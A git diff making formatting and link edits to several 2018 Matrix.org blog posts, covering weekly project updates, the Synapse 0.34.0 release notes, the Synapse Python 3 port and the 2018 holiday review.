    • Py3 is finished, other than Debian packages - ongoing debate on whether they should use a virtualenv or depend on debian dependencies, and who should maintain them in a Py3 world…
    • +
    • Lots of running around on final Py3 bugs
    ## matrix-appservice-purple @@ -102,10 +102,10 @@ Most of the focus from the Syna Modular.im provides Hosted Homeservers for Matrix.
      -
    • Modular now has full support for Custom DNS (letting you point your own SRV records at it)
    • -
    • Lots of work on a migration tool to allow folks to easily shift Matrix accounts between servers, as well as (in future) migrations from HipChat, Slack & others.
    • +
    • Modular now has full support for Custom DNS (letting you point your own SRV records at it)
    • +
    • Lots of work on a migration tool to allow folks to easily shift Matrix accounts between servers, as well as (in future) migrations from HipChat, Slack & others.
    -## That's it! +## That's it Apologies for the delayed release this week - please expect an episode of Matrix Live in the week, and back to a normal schedule for TWIM as of Friday. As always, come talk to us in #thisweekinmatrix:matrix.org and tell us what you've been doing. diff --git a/content/blog/2018/11/2018-11-30-this-week-in-matrix-2018-11-30.md b/content/blog/2018/11/2018-11-30-this-week-in-matrix-2018-11-30.md index 8c597f540..009c04f75 100644 --- a/content/blog/2018/11/2018-11-30-this-week-in-matrix-2018-11-30.md +++ b/content/blog/2018/11/2018-11-30-this-week-in-matrix-2018-11-30.md @@ -37,23 +37,23 @@ Just to prove it's running on real hardware! ## Spec / Foundation
      -
    • Work continues on MSC1730 - Mechanism for redirecting to an alternative server during login https://github.com/matrix-org/matrix-doc/pull/1730
    • -
    • Foundation: Working with the Foundation lawyers on the CIC37 to register the Foundation as a Community Interest Company proper
    • +
    • Work continues on MSC1730 - Mechanism for redirecting to an alternative server during login https://github.com/matrix-org/matrix-doc/pull/1730
    • +
    • Foundation: Working with the Foundation lawyers on the CIC37 to register the Foundation as a Community Interest Company proper
    ## The Federation (the-federation.info) Jason Robinson is passionate about Federated technology, and has been working on his site at https://the-federation.info/ for some time. He recently added Matrix to the list of protocols he scrapes and lists: -> Matrix (or more specifically, Synapse) servers are now visible on the The Federation info website at https://the-federation.info/matrix%7Csynapse. The website collects lists of servers for various federation protocols (like Matrix, ActivityPub, Diaspora, etc). If a server outputs usage information, it also shows some historical information for servers and projects. Currently the information available from Synapse on the site is just version, availability of registrations and (obviously) domain name. If you want to register your server, check https://the-federation.info/info for more details. Tips also welcome on how to register other Matrix server projects and how to get more data out of servers. +> Matrix (or more specifically, Synapse) servers are now visible on the The Federation info website at https://the-federation.info/matrix%7Csynapse. The website collects lists of servers for various federation protocols (like Matrix, ActivityPub, Diaspora, etc). If a server outputs usage information, it also shows some historical information for servers and projects. Currently the information available from Synapse on the site is just version, availability of registrations and (obviously) domain name. If you want to register your server, check for more details. Tips also welcome on how to register other Matrix server projects and how to get more data out of servers. ## maubot tulir has continued work on maubot: >
      ->
    • I made a rss plugin for maubot and added a fancy log viewer in the maubot management UI.
    • ->
    • mautrix-telegram 0.4.0 was released, though it has no changes since the release candidate. I also copied mautrix-telegram's HTML parser into mautrix-python. Hopefully it's now generic enough so that when mautrix-telegram switches to mautrix-python, it can drop most of the built-in HTML parser.
    • +>
    • I made a rss plugin for maubot and added a fancy log viewer in the maubot management UI.
    • +>
    • mautrix-telegram 0.4.0 was released, though it has no changes since the release candidate. I also copied mautrix-telegram's HTML parser into mautrix-python. Hopefully it's now generic enough so that when mautrix-telegram switches to mautrix-python, it can drop most of the built-in HTML parser.
    • >
    ## matrix-appservice-discord @@ -83,19 +83,19 @@ Bridge-of-the-week this week is -
  • This week our focus has been to work through some final bugs blocking 0.34.0 which will be our first official python 3 release. Expect a RC rsn. For a sneak peak see this week's Matrix Live video at the top!
  • +
  • This week our focus has been to work through some final bugs blocking 0.34.0 which will be our first official python 3 release. Expect a RC rsn. For a sneak peak see this week's Matrix Live video at the top!
  • ## Auf Wiedersehen… diff --git a/content/blog/2018/12/2018-12-07-this-week-in-matrix-2018-12-07.md b/content/blog/2018/12/2018-12-07-this-week-in-matrix-2018-12-07.md index 6dab947b4..d856177dc 100644 --- a/content/blog/2018/12/2018-12-07-this-week-in-matrix-2018-12-07.md +++ b/content/blog/2018/12/2018-12-07-this-week-in-matrix-2018-12-07.md @@ -68,27 +68,27 @@ Modular is a Hosted Homeservers product, check out
    Communities and community invitations should be more resilient to errors (on /develop only so far) +
  • Redesign progress: all resizeable sections are now persisted, (slow) progress on improving read markers
  • +
  • Communities and community invitations should be more resilient to errors (on /develop only so far)
  • ## Riot iOS
      -
    • Reskin still ongoing
    • -
    • A new release is coming
    • -
    • Less activity because of POSS
    • +
    • Reskin still ongoing
    • +
    • A new release is coming
    • +
    • Less activity because of POSS
    ## Riot Android
      -
    • A new developer joined us to help maintaining Riot: Valere Fedronic
    • -
    • Keys backup PR in review
    • -
    • Privacy Terms acceptance in login flow in review
    • -
    • FCM issue investigation/troubleshooting by Valere
    • -
    • François Off (sick :()
    • -
    • New theme is coming soon
    • +
    • A new developer joined us to help maintaining Riot: Valere Fedronic
    • +
    • Keys backup PR in review
    • +
    • Privacy Terms acceptance in login flow in review
    • +
    • FCM issue investigation/troubleshooting by Valere
    • +
    • François Off (sick :()
    • +
    • New theme is coming soon
    ## Koma diff --git a/content/blog/2018/12/2018-12-14-this-week-in-matrix-2018-12-14.md b/content/blog/2018/12/2018-12-14-this-week-in-matrix-2018-12-14.md index 7d9a5d287..19676acca 100644 --- a/content/blog/2018/12/2018-12-14-this-week-in-matrix-2018-12-14.md +++ b/content/blog/2018/12/2018-12-14-this-week-in-matrix-2018-12-14.md @@ -16,8 +16,8 @@ Developers and creators of Fractal ## Matrix Spec ## This Week in Ruma @@ -66,9 +66,9 @@ Release made with these notes: Get more information: ### Riot Android @@ -81,8 +81,8 @@ Release made: Get more information: ## Servers @@ -111,6 +111,6 @@ Due to demand, modular.im Hosted Homeservers#twim:matrix.org, and we'll see you next week! diff --git a/content/blog/2018/12/2018-12-20-synapse-0-34-0-released.md b/content/blog/2018/12/2018-12-20-synapse-0-34-0-released.md index b54f35147..fc1b8cd3a 100644 --- a/content/blog/2018/12/2018-12-20-synapse-0-34-0-released.md +++ b/content/blog/2018/12/2018-12-20-synapse-0-34-0-released.md @@ -21,7 +21,6 @@ Matrix.org federation reader workers, the big drops signify roll over to python Synapse master on matrix.org, again the drop in RAM signifies the roll over to python 3 - Many thanks to Amber for leading the effort, Rich and Erik for providing support as well as Notafile and Krombel from the community for pushing this effort right from the early days of the project. If that wasn't enough, 0.34.0 also all the usual bug fixes and perf improvements. In particular the media repository now no longer fails to decode UTF-8 filenames when downloading remote media and auto joining rooms now work on servers with consent requirements enabled. @@ -39,53 +38,53 @@ We recommend upgrading to Python 3, but make sure to read the #4284) -
  • Make the new landing page prettier. (#4294)
  • -
  • Fix deleting E2E room keys when using old SQLite versions. (#4295)
  • -
  • Add a welcome page for the client API port. Credit to @krombel! (#4289)
  • -
  • Remove Matrix console from the default distribution (#4290)
  • -
  • Add option to track MAU stats (but not limit people) (#3830)
  • -
  • Add an option to enable recording IPs for appservice users (#3831)
  • -
  • Rename login type m.login.cas to m.login.sso (#4220)
  • -
  • Add an option to disable search for homeservers that may not be interested in it. (#4230)
  • +
  • Add 'sandbox' to CSP for media reprository (#4284)
  • +
  • Make the new landing page prettier. (#4294)
  • +
  • Fix deleting E2E room keys when using old SQLite versions. (#4295)
  • +
  • Add a welcome page for the client API port. Credit to @krombel! (#4289)
  • +
  • Remove Matrix console from the default distribution (#4290)
  • +
  • Add option to track MAU stats (but not limit people) (#3830)
  • +
  • Add an option to enable recording IPs for appservice users (#3831)
  • +
  • Rename login type m.login.cas to m.login.sso (#4220)
  • +
  • Add an option to disable search for homeservers that may not be interested in it. (#4230)
  • #### Bugfixes
      -
    • Pushrules can now again be made with non-ASCII rule IDs. (#4165)
    • -
    • The media repository now no longer fails to decode UTF-8 filenames when downloading remote media. (#4176)
    • -
    • URL previews now correctly decode non-UTF-8 text if the header contains a <meta http-equiv="Content-Type" header. (#4183)
    • -
    • Fix an issue where public consent URLs had two slashes. (#4192)
    • -
    • Fallback auth now accepts the session parameter on Python 3. (#4197)
    • -
    • Remove riot.im from the list of trusted Identity Servers in the default configuration (#4207)
    • -
    • fix start up failure when mau_limit_reserved_threepids set and db is postgres (#4211)
    • -
    • Fix auto join failures for servers that require user consent (#4223)
    • -
    • Fix exception caused by non-ascii event IDs (#4241)
    • -
    • Pushers can now be unsubscribed from on Python 3. (#4250)
    • -
    • Fix UnicodeDecodeError when postgres is configured to give non-English errors (#4253)
    • +
    • Pushrules can now again be made with non-ASCII rule IDs. (#4165)
    • +
    • The media repository now no longer fails to decode UTF-8 filenames when downloading remote media. (#4176)
    • +
    • URL previews now correctly decode non-UTF-8 text if the header contains a <meta http-equiv="Content-Type" header. (#4183)
    • +
    • Fix an issue where public consent URLs had two slashes. (#4192)
    • +
    • Fallback auth now accepts the session parameter on Python 3. (#4197)
    • +
    • Remove riot.im from the list of trusted Identity Servers in the default configuration (#4207)
    • +
    • fix start up failure when mau_limit_reserved_threepids set and db is postgres (#4211)
    • +
    • Fix auto join failures for servers that require user consent (#4223)
    • +
    • Fix exception caused by non-ascii event IDs (#4241)
    • +
    • Pushers can now be unsubscribed from on Python 3. (#4250)
    • +
    • Fix UnicodeDecodeError when postgres is configured to give non-English errors (#4253)
    #### Internal Changes
      -
    • Debian packages utilising a virtualenv with bundled dependencies can now be built. (#4212)
    • -
    • Disable pager when running git-show in CI (#4291)
    • -
    • A coveragerc file has been added. (#4180)
    • -
    • Add a GitHub pull request template and add multiple issue templates (#4182)
    • -
    • Update README to reflect the fact that #1491 is fixed (#4188)
    • -
    • Run the AS senders as background processes to fix warnings (#4189)
    • -
    • Add some diagnostics to the tests to detect logcontext problems (#4190)
    • -
    • Add missing jpeg package prerequisite for OpenBSD in README. (#4193)
    • -
    • Add a note saying you need to manually reclaim disk space after using the Purge History API (#4200)
    • -
    • More logcontext checking in unittests (#4205)
    • -
    • Ignore __pycache__ directories in the database schema folder (#4214)
    • -
    • Add note to UPGRADE.rst about removing riot.im from list of trusted identity servers (#4224)
    • -
    • Added automated coverage reporting to CI. (#4225)
    • -
    • Garbage-collect after each unit test to fix logcontext leaks (#4227)
    • -
    • add more detail to logging regarding "More than one row matched" error (#4234)
    • -
    • Drop sent_transactions table (#4244)
    • -
    • Add a basic .editorconfig (#4257)
    • -
    • Update README.rst and UPGRADE.rst for Python 3. (#4260)
    • -
    • Remove obsolete verbose and log_file settings from homeserver.yaml for Docker image. (#4261)
    • +
    • Debian packages utilising a virtualenv with bundled dependencies can now be built. (#4212)
    • +
    • Disable pager when running git-show in CI (#4291)
    • +
    • A coveragerc file has been added. (#4180)
    • +
    • Add a GitHub pull request template and add multiple issue templates (#4182)
    • +
    • Update README to reflect the fact that #1491 is fixed (#4188)
    • +
    • Run the AS senders as background processes to fix warnings (#4189)
    • +
    • Add some diagnostics to the tests to detect logcontext problems (#4190)
    • +
    • Add missing jpeg package prerequisite for OpenBSD in README. (#4193)
    • +
    • Add a note saying you need to manually reclaim disk space after using the Purge History API (#4200)
    • +
    • More logcontext checking in unittests (#4205)
    • +
    • Ignore __pycache__ directories in the database schema folder (#4214)
    • +
    • Add note to UPGRADE.rst about removing riot.im from list of trusted identity servers (#4224)
    • +
    • Added automated coverage reporting to CI. (#4225)
    • +
    • Garbage-collect after each unit test to fix logcontext leaks (#4227)
    • +
    • add more detail to logging regarding "More than one row matched" error (#4234)
    • +
    • Drop sent_transactions table (#4244)
    • +
    • Add a basic .editorconfig (#4257)
    • +
    • Update README.rst and UPGRADE.rst for Python 3. (#4260)
    • +
    • Remove obsolete verbose and log_file settings from homeserver.yaml for Docker image. (#4261)
    diff --git a/content/blog/2018/12/2018-12-21-porting-synapse-to-python-3.md b/content/blog/2018/12/2018-12-21-porting-synapse-to-python-3.md index 44e87115a..0d3346294 100644 --- a/content/blog/2018/12/2018-12-21-porting-synapse-to-python-3.md +++ b/content/blog/2018/12/2018-12-21-porting-synapse-to-python-3.md @@ -13,10 +13,8 @@ Matrix's reference homeserver, Synapse, is written in Python and uses the Twiste Porting Synapse to Python 3 prepares Synapse for a post-Python 2 world, currently scheduled for 2020. After the 1st of January in 2020, Python 2 will no longer be supported by the core Python developers and no bugfixes (even critical security ones) will be issued. As the security of software depends very much on the runtime and libraries it is running on top of, this means that by then all Python 2 software in use should have moved to Python 3 or other runtimes. - The Python 3 port has benefits other than just preparing for the End of Life of Python 2.7. Successive versions of Python 3 have improved the standard library, provided newer and clearer syntax for asynchronous code, added opt-in static typing to reduce bugs, and contained incremental performance and memory management improvements. These features, once Synapse stops supporting Python 2, can then be fully utilised to make Synapse's codebase clearer and more performant. One bonus that we get immediately, though, is Python 3's memory compaction of Unicode strings. Rather than storing as UCS-2/UTF-16 or UCS-4/UTF-32, it will instead store it in the smallest possible representation giving a 50%-75% memory improvement for strings only containing Latin-1 characters, such as nearly all dictionary keys, hashes, IDs, and a large proportion of messages being processed from English speaking countries. Non-English text will also see a memory improvement, as it can be commonly stored in only two bytes instead of the four in a UCS-4 “wide” Python 2 build. - Editor's note: If you were wondering how this fits in with Dendrite (the next-gen golang homeserver): our plan is to use Synapse as the reference homeserver for all the current work going on with landing a 1.0 release of the Matrix spec: it makes no sense to try to iterate and converge on 1.0 on both Synapse and Dendrite in parallel. In order to prove that the 1.0 spec is indeed fit for purpose we then also need Synapse to exit beta and hit a 1.0 too, hence the investment to get it there. It's worth noting that over the last year we've been plugging away solidly improving Synapse in general (especially given the increasing number of high-profile deployments out there), so we're committed to getting Synapse to a formal production grade release and supporting it in the long term. Meanwhile, Dendrite development is still progressing - currently acting as a place to experiment with more radical blue-sky architectural changes, especially in low-footprint or even clientside homeservers. We expect it to catch up with Synapse once 1.0 is out the door; and meanwhile Synapse is increasingly benefiting from performance work inspired by Dendrite. @@ -28,31 +26,24 @@ The port is has been released in a “production ready” form in  - See 10/15, ~20:00 for the Python 3 migration. This is on some of the Synchrotrons on matrix.org. - See ~11/8 for the Python 3 migration. This is on the Synapse master on matrix.org. - We have also noticed some better CPU utilisation: - See 21:30 for the migration of federation reader 1, and 21:55 for the others. The federation reader is a particular pathological case, where the replacement of lists with iterators internally on Python 3 has given us some big boosts. - See 10/15, 4:00.The CPU utilisation has gone down on synchrotron 1 after the Python 3 migration, but not as dramatically as the federation reader. Synchrotron 3 was migrated a few days later. - As some extra data-points, my personal HS consumes about 300MB now at initial start, and grows to approximately 800MB -- under Python 2 the growth would be near-immediate to roughly 1.4GB. ## Where to from here? @@ -67,8 +58,6 @@ The port is compatible with existing homeservers and configurations, so if you i Many thanks go to fellow Synapse developers Erik and Rich for code review, as well as community contributors such as notafile and krombel for laying the foundations many months ago allowing this port to happen. Without them, this wouldn't have happened. - Happy Matrixing, - Amber Brown (hawkowl) diff --git a/content/blog/2018/12/2018-12-21-this-week-in-matrix-2018-12-21.md b/content/blog/2018/12/2018-12-21-this-week-in-matrix-2018-12-21.md index 075acc440..e7ede41ad 100644 --- a/content/blog/2018/12/2018-12-21-this-week-in-matrix-2018-12-21.md +++ b/content/blog/2018/12/2018-12-21-this-week-in-matrix-2018-12-21.md @@ -51,11 +51,11 @@ Chat in #purple-bridge > > If you don't use Homebrew, you can still download Seaglass from GitHub. -## matrix-client.el is reborn! +## matrix-client.el is reborn alphapapa reports from a team who have forked and are maintaining a Matrix client for Emacs: -> Many additions and improvements to matrix-client.el (https://github.com/jgkamat/matrix-client-el) recently, including a "standalone client" mode that launches Emacs to look like this. +> Many additions and improvements to matrix-client.el () recently, including a "standalone client" mode that launches Emacs to look like this. Chat in #matrix-client-el:matrix.org. @@ -109,16 +109,16 @@ Fresh from their hackfest in Seville last week, Al From the Riot iOS team:
      -
    • We have fixed and improved some e2e stuff.
    • -
    • Back to reskin. We start to implement e2e backup screens.
    • +
    • We have fixed and improved some e2e stuff.
    • +
    • Back to reskin. We start to implement e2e backup screens.
    ## Riot Android From the Riot Android team:
      -
    • New screen to troubleshoot notification issue has been merged on /develop.
    • -
    • Splitting current Android SDK to separate crypto part is on it's way. We're doing this in order to be able to integrate crypto faster in the Riot reboot.
    • +
    • New screen to troubleshoot notification issue has been merged on /develop.
    • +
    • Splitting current Android SDK to separate crypto part is on it's way. We're doing this in order to be able to integrate crypto faster in the Riot reboot.
    ## Synapse diff --git a/content/blog/2018/12/2018-12-25-the-2018-matrix-holiday-special.md b/content/blog/2018/12/2018-12-25-the-2018-matrix-holiday-special.md index 1cd5be85c..8117d42a7 100644 --- a/content/blog/2018/12/2018-12-25-the-2018-matrix-holiday-special.md +++ b/content/blog/2018/12/2018-12-25-the-2018-matrix-holiday-special.md @@ -9,29 +9,22 @@ category = ["General"] Hi all, - It's that time again where we break out the mince pies and brandy butter (at least for those of us in the UK) and look back on the year to see how far Matrix has come, as well as anticipate what 2019 may bring! ### Overview It's fair to say that 2018 has been a pretty crazy year.  We have had one overriding goal: to take the
    funding we received in January, stabilise and freeze the protocol and get it and the reference implementations out of beta and to a 1.0 - to provide a genuinely open and decentralised mainstream alternative to the likes of Slack, Discord, WhatsApp etc.  What's so crazy about that, you might ask? - Well, in parallel with this we've also seen adoption of Matrix accelerating ahead of our dev plan at an unprecedented speed: with France selecting Matrix to power the communication infrastructure of its whole public sector - first trialling over the summer, and now confirmed for full roll-out as of a few weeks ago.  Meanwhile there are several other similar-sized projects on the horizon which we can't talk about yet.  We've had the growing pains of establishing New Vector as a startup in order to hire the core team and support these projects.  We've launched Modular to provide professional-quality SaaS Matrix hosting for the wider community and help fund the team.  And most importantly, we've also been establishing the non-profit Matrix.org Foundation to formalise the open governance of the Matrix protocol and protect and isolate it from any of the for-profit work. - However: things have just about come together.  Almost all the spec work for 1.0 is done and we are now aiming to get a 1.0 released in time by the end of January (in time for FOSDEM).  Meanwhile Synapse has improved massively in terms of performance and stability (not least having migrated over to Python 3); Riot's spectacular redesign is now available for testing right now; E2E encryption is more stable than ever with the usability rework landing as we speak.  And we've even got a full rewrite of Riot/Android in the wings. - But it's certainly been an interesting ride.  Longer-term spec work has been delayed by needing to apply band-aids to mitigate abuse of the outstanding issues.  Riot redesign was pushed back considerably due to prioritising Riot performance over UX. The E2E UX work has forced us to consider E2E holistically… which does not always interact well with structuring the dev work into bite-sized chunks.  Dendrite has generally been idling whilst we instead pour most of our effort into getting to 1.0 on Synapse (rather than diluting 1.0 work across both projects). These tradeoffs have been hard to make, but hopefully we have chosen the correct path in the end. - Overall, as we approach 1.0, the project is looking better than ever - hopefully everyone has seen both Riot and Synapse using less RAM and being more responsive and stable, E2E being more reliable, and anyone who has played with the Riot redesign beta should agree that it is light-years ahead of yesterday's Riot and something which can genuinely surpass today's centralised proprietary incumbents. And that is unbelievably exciting :D - We'd like to thank everyone for continuing to support Matrix - especially our Patreon & Liberapay supporters, whose donations continue to be critical for helping fund the core dev team, and also those who are supporting the project indirectly by hosting homeservers with Modular.  We are going to do everything humanly possible to ship 1.0 over the coming weeks, and then the sky will be the limit! - Before going into what else 2019 will hold, however, let's take the opportunity to give a bit more detail on the various core team projects which landed in 2018… ## France @@ -46,45 +39,36 @@ The project really shows off Matrix at its best, with up to 60 different deploym A major theme throughout the year has been polishing the Matrix Spec itself for its first full stable release, having had more than enough time to see which bits work in practice now and which bits need rethinking.  This all kicked off with the creation of the Matrix Spec Change process back in May, which provides a formal process for reviewing and accepting contributions from anyone into the spec.  Getting the balance right between agility and robustness has been quite tough here, especially pre-1.0 where we've needed to move rapidly to resolve the remaining long-lived sticking points.  However, a process like this risks encouraging the classic “Perfect is the Enemy of Good” problem, as all and sundry jump in to apply their particular brand of perfectionism to the spec (and/or the process around it) and risk smothering it to death with enthusiasm.  So we've ended up iterating a few times on the process and hopefully now converged on an approach which will work for 1.0 and beyond. If you haven't checked out the current proposals guide please give it a look, and feel free to marvel at all the MSCs in flight.  You can also see a quick and dirty timeline of all the MSC status changes since we introduced the process, to get an idea of how it's all been progressing. - In August we had a big sprint to cut stable “r0” releases of all the APIs of the spec which had not yet reached a stable release (i.e. all apart from the Client-Server API, which has been stable since Dec 2015 - hence in part the large number of usable independent Matrix clients relative to the other bits of the ecosystem).  In practice, we managed to release 3 out of the 4 remaining APIs - but needed more time to solve the remaining blocking issues with the Server-Server API. So since August (modulo operational and project distractions) we've been plugging away on the S2S API.   - The main blocking issue for a stable S2S API has been State Resolution. This is the fundamental algorithm used to determine the state of a given room whenever a race or partition happens between the servers participating in it.  For instance: if Alice kicks Bob on her server at the same time as Charlie ops Bob on his server, who should win? It's vital that all servers reach the same conclusion as to the state of the room, and we don't want servers to have to replicate a full copy of the room's history (which could be massive) to reach a consistent conclusion.  Matrix's original state resolution algorithm dates back to the initial usable S2S implementation at the beginning of 2015 - but over time deficiencies in the algorithm became increasingly apparent. The most obvious issue is the “Hotel California” bug, where users can be spontaneously re-joined to a room they've previously left if the room's current state is merged with an older copy of the room on another server and the ‘wrong' version wins the conflict - a so-called state-reset. - After a lot of thought we ended up proposing an all new State Resolution algorithm in July 2018, nicknamed State Resolution Reloaded.  This extends the original algorithm to consider the ‘auth chain' of state events when performing state resolution (i.e. the sequence of events that a given state event cites as evidence of its validity) - as well as addressing a bunch of other issues.  For those wishing to understand in more detail, there's the MSC itself, the formal terse description of the algorithm now merged into the unstable S2S spec - or alternatively there's an excellent step-by-step explanation and guided example from uhoreg (warning: contains Haskell :)  Or you can watch Erik and Matthew try to explain it all on Matrix Live back in July. - Since the initial proposal in July, the algorithm has been proofed out in a test jig, iterated on some more to better specify how to handle rejected events, implemented in Synapse, and is now ready to roll.  The only catch is that to upgrade to it we've had to introduce the concept of room versioning, and to flush out historical issues we require you to re-create rooms to upgrade them to the new resolution algorithm. Getting the logistics in place for this is a massive pain, but we've got an approach now which should be sufficient. Clients will be free to smooth over the transition in the UI as gracefully as possible (and in fact Riot has this already hooked up).  So: watch this space as v2 rooms with all-new state resolution in the coming weeks! - Otherwise, there are a bunch of other issues in the S2S API which we are still working through (e.g. changing event IDs to be hashes of event contents to avoid lying about IDs, switching to use normal X.509 certificates for federation and so resolve problems with Perspectives, etc).   - Once these land and are implemented in Synapse over the coming weeks, we will be able to finally declare a 1.0! - Also on the spec side of things, it's worth noting that a lot of effort went into improving performance for clients in the form of the Lazy Loading Members MSC.  This ended up consuming a lot of time over the summer as we updated Synapse and the various matrix-*-sdks (and thus Riot) to only calculate and send details to the clients about members who are currently talking in a room, whereas previously we sent the entire state of the room to the client (even including users who had left). The end result however is a 3-5x reduction in RAM on Riot, and a 3-5x speedup on initial sync.  The current MSC is currently being merged as we speak into the main spec (thanks Kitsune!) for inclusion in upcoming CS API 0.5. ## The Matrix.org Foundation (CIC!) Alongside getting the open spec process up and running, we've been establishing The Matrix.org Foundation as an independent non-profit legal entity responsible for neutrally safeguarding the Matrix spec and evolution of the protocol.  This kicked off in June with the “Towards Open Governance” blog post, and continued with the formal incorporation of The Matrix.org Foundation in October.  Since then, we've spent a lot of time with the non-profit lawyers evolving MSC1318 into the final Articles of Association (and other guidelines) for the Foundation.  This work is basically solved now; it just needs MSC1318 to be updated with the conclusions (which we're running late on, but is top of Matthew's MSC todo list). - In other news, we have confirmation that the Community Interest Company (CIC) status for The Matrix.org Foundation has been approved - this means that the CIC Regulator has independently reviewed the initial Articles of Association and approved that they indeed lock the mission of the Foundation to be non-profit and to act solely for the good of the wider online community.  In practice, this means that the Foundation will be formally renamed The Matrix.org Foundation C.I.C, and provides a useful independent safeguard to ensure the Foundation remains on track. - The remaining work on the Foundation is:
      -
    • Update and land MSC1318, particularly on clarifying the relationship between the legal Guardians (Directors) of the Foundation and the technical members of the core spec team, and how funds of the Foundation will be handled. +
    • Update and land MSC1318, particularly on clarifying the relationship between the legal Guardians (Directors) of the Foundation and the technical members of the core spec team, and how funds of the Foundation will be handled.
    • -
    • Update the Articles of Association of the Foundation based on the end result of MSC1318 +
    • Update the Articles of Association of the Foundation based on the end result of MSC1318
    • -
    • Transfer any Matrix.org assets over from New Vector to the Foundation.  Given Matrix's code is all open source, there isn't much in the way of assets - we're basically talking about the matrix.org domain and website itself. +
    • Transfer any Matrix.org assets over from New Vector to the Foundation.  Given Matrix's code is all open source, there isn't much in the way of assets - we're basically talking about the matrix.org domain and website itself.
    • -
    • Introduce the final Guardians for the Foundation. +
    • Introduce the final Guardians for the Foundation.
    We'll keep you posted with progress as this lands over the coming months. @@ -93,20 +77,16 @@ We'll keep you posted with progress as this lands over the coming months. 2018 has been a bit of a chrysalis year for Riot: the vast majority of work has been going into the massive redesign we started in May to improve usability & cosmetics, performance, stability, and E2E encryption usability improvements.  We've consciously spent most of the year feature frozen in order to polish what we already have, as we've certainly been guilty in the past of landing way too many features without necessarily applying the needed amount of UX polish. - However, as of today, we're super-excited to announce that Riot's redesign is at the point where the intrepid can start experimenting with it - in fact, internally most of the team has switched over to dogfooding (testing) the redesign as of a week or so ago.  Just shut down your current copy of Riot/Web or Desktop and go to https://riot.im/experimental instead if you want to experiment (we don't recommend running both at the same time).  Please note that it is still work-in-progress and there's a lot of polish still to land and some cosmetic bugs still hanging around, but it's definitely at the point of feeling better than the old app.  Most importantly, please provide feedback (by hitting the lifesaver-ring button at the bottom left) to let us know how you get on. See the Riot blog for more details! Meanwhile, on the performance and stability side of things - Lazy Loading (see above) made a massive difference to performance on all platforms; shrinking RAM usage by 3-5x and similarly speeding up launch and initial sync times.  Ironically, this ended up pushing back the redesign work, but hopefully the performance improvements will have been noticeable in the interim.  We also switched the entire rich text composer from using Facebook's Draft.js library to instead use Slate.js (which has generally been a massive improvement for stability and maintainability, although took *ages* to land - huge thanks to t3chguy for getting it over the line). Meanwhile Travis has been blitzing through a massive list of key “First Impression” bugs to ensure that as many of Riot's most glaring usability gotchas are solved. - We also welcomed ever-popular Stickers to the fold - the first instance of per-account rather than per-room widgets, which ended up requiring a lot of new infrastructure in both Riot and the underlying integration manager responsible for hosting the widgets.  But judging by how popular they are, the effort seems to be worth it - and paves the way for much more exciting interactive widgets and integrations in future! - An unexpectedly large detour/distraction came in the form of GDPR back in May - we spent a month or so running around ensuring that both Riot and Matrix are GDPR compliant (including the necessary legal legwork to establish how GDPR even applies to a decentralised technology like Matrix).  If you missed all that fun, you can read about it here.  Hopefully we won't have to do anything like that again any time soon... - And finally: on the mobile side, much of the team has been distracted helping out France with their Matrix deployment.  However, we've been plugging away on Riot/Mobile, keeping pace with the development on Riot/Web - but most excitingly, we've also found time to experiment with a complete rewrite of Riot/Android in Kotlin, using Realm and Rx (currently nicknamed Riot X).  The rewrite was originally intended as a test-jig for experimenting with the redesign on mobile, but it's increasingly becoming a fully fledged Matrix client… which launches and syncs over 5x faster than today's Riot/Android.  If you're particularly intrepid you should be able to run the app by checking out the project in Android Studio and hitting ‘run'. We expect the rewrite to land properly in the coming months - watch this space for progress! ## E2E Encryption @@ -114,49 +94,47 @@ And finally: on the mobile side, much of the team has been distracted helping ou One of the biggest projects this year has been to get E2E encryption out of beta and turned on by default.  Now, whilst the encryption itself in Matrix has been cryptographically robust since 2016 - its usability has been minimal at best, and we'd been running around polishing the underlying implementation rather than addressing the UX.  However, this year that changed, as we opened a war on about 6 concurrent battlefronts to address the remaining issues. These are:
      -
    • Holistic UX.  Designing a coherent, design-led UX across all of the encryption and key-management functionality.  Nad (who joined Matrix as a fulltime Lead UI/UX designer in August) has been leading the charge on this - you can see a preview of the end result here.  Meanwhile, Dave and Ryan are working through implementing it as we speak. +
    • Holistic UX.  Designing a coherent, design-led UX across all of the encryption and key-management functionality.  Nad (who joined Matrix as a fulltime Lead UI/UX designer in August) has been leading the charge on this - you can see a preview of the end result here.  Meanwhile, Dave and Ryan are working through implementing it as we speak.
    • -
    • Decryption failures (UISIs).  Whenever something goes wrong with E2E encryption, the symptoms are generally the same: you find yourself unable to decrypt other people's messages.  We've been plugging away chasing these down - for instance, switching from localStorage to IndexedDB in Riot/Web for storing encryption state (to make it harder for multiple tabs to collide and corrupt your encryption state); providing mechanisms to unwedge Olm sessions which have got corrupted (e.g. by restoring from backup); and many others.  We also added full telemetry to track the number of UISIs people are seeing in practice - and the good news is that over the course of the year their occurrence has been steadily reducing.  The bad news is that there are still some edge cases left: so please, whenever you fail to decrypt a message, please make sure you submit a bug report and debug logs from *both* the sender and receiving device.  The end is definitely in sight on these, however, and good news is other battlefronts will also help mitigate UISIs. +
    • Decryption failures (UISIs).  Whenever something goes wrong with E2E encryption, the symptoms are generally the same: you find yourself unable to decrypt other people's messages.  We've been plugging away chasing these down - for instance, switching from localStorage to IndexedDB in Riot/Web for storing encryption state (to make it harder for multiple tabs to collide and corrupt your encryption state); providing mechanisms to unwedge Olm sessions which have got corrupted (e.g. by restoring from backup); and many others.  We also added full telemetry to track the number of UISIs people are seeing in practice - and the good news is that over the course of the year their occurrence has been steadily reducing.  The bad news is that there are still some edge cases left: so please, whenever you fail to decrypt a message, please make sure you submit a bug report and debug logs from *both* the sender and receiving device.  The end is definitely in sight on these, however, and good news is other battlefronts will also help mitigate UISIs.
    • -
    • Incremental Key Backup.  Previously, if you only used one device (e.g. your phone) and you lost that phone, you would lose all your E2E history unless you were in the habit of explicitly manually backing up your keys.  Nowadays, we have the ability to optionally let users encrypt their keys with a passphrase (or recovery key) and constantly upload them to the server for safe keeping.  This was a significant chunk of work, but has actually landed already in Riot/Web and Riot/iOS, but is hidden behind a “Labs” feature flag in Settings whilst we test it and sort out the final UX. +
    • Incremental Key Backup.  Previously, if you only used one device (e.g. your phone) and you lost that phone, you would lose all your E2E history unless you were in the habit of explicitly manually backing up your keys.  Nowadays, we have the ability to optionally let users encrypt their keys with a passphrase (or recovery key) and constantly upload them to the server for safe keeping.  This was a significant chunk of work, but has actually landed already in Riot/Web and Riot/iOS, but is hidden behind a “Labs” feature flag in Settings whilst we test it and sort out the final UX.
    • -
